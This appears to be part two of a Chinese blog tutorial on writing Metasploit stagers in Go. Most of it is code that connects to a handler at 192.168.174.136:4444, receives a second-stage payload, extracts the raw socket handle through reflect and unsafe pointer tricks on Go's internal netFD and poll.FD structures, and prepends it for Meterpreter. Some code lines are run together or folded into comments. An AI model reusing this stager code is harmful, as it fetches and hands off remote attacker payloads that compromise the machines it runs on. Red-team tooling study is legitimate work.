msf stagers开发不完全指北(二)

socket, err := net.Dial("tcp", "192.168.174.136:4444")if err != nil {   

 return err
}

// read payload size

var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)if err != nil {return err}

if numOfBytes != 4 {    

return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))

// read payloadvar payload = make([]byte, payloadSize)

// numOfBytes, err = socket.Read(payload)numOfBytes, err = io.ReadFull(socket, payload)if err != nil {    return err
}

if numOfBytes != payloadSize {   

 return errors.New("Number of payload bytes does not match payload size! "

)
}

conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)

return buff

// Network file descriptor.

type netFD struct {
pfd poll.FD

// immutable until Close
family      int
sotype      int
isConnected bool // handshake completed or use of association with peer

net         string
laddr       Addr
raddr       Addr
}

// poll.FD

// FD is a file descriptor. The net and os packages embed this type in

// a larger type representing a network connection or OS file.type FD struct {

 // Lock sysfd and serialize access to Read and Write methods.
fdmu fdMutex

// System file descriptor. Immutable until Close.
Sysfd syscall.Handle

// Read operation.
rop operation

 // Write operation.
wop operation

 // I/O poller.
pd pollDesc

// Used to implement pread/pwrite.
l sync.Mutex

 // For console I/O.
lastbits       []byte   

// first few bytes of the last incomplete rune in last write
readuint16     []uint16 

// buffer to hold uint16s obtained with ReadConsole
readbyte       []byte  

 // buffer to hold decoding of readuint16 from utf16 to utf8
readbyteOffset int      

// readbyte[readOffset:] is yet to be consumed with file.Read

// Semaphore signaled when file is closed.
csema uint32

skipSyncNotif bool

// Whether this is a streaming descriptor, as opposed to a
// packet-based descriptor like a UDP socket.
IsStream bool

// Whether a zero byte read indicates EOF. This is false for a
// message based socket connection.
ZeroReadIsEOF bool

// Whether this is a file rather than a network socket.
isFile bool

// The kind of this file.
kind fileKind
}

fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

payload = append(append([]byte{0xBF}, socketFD...), payload...)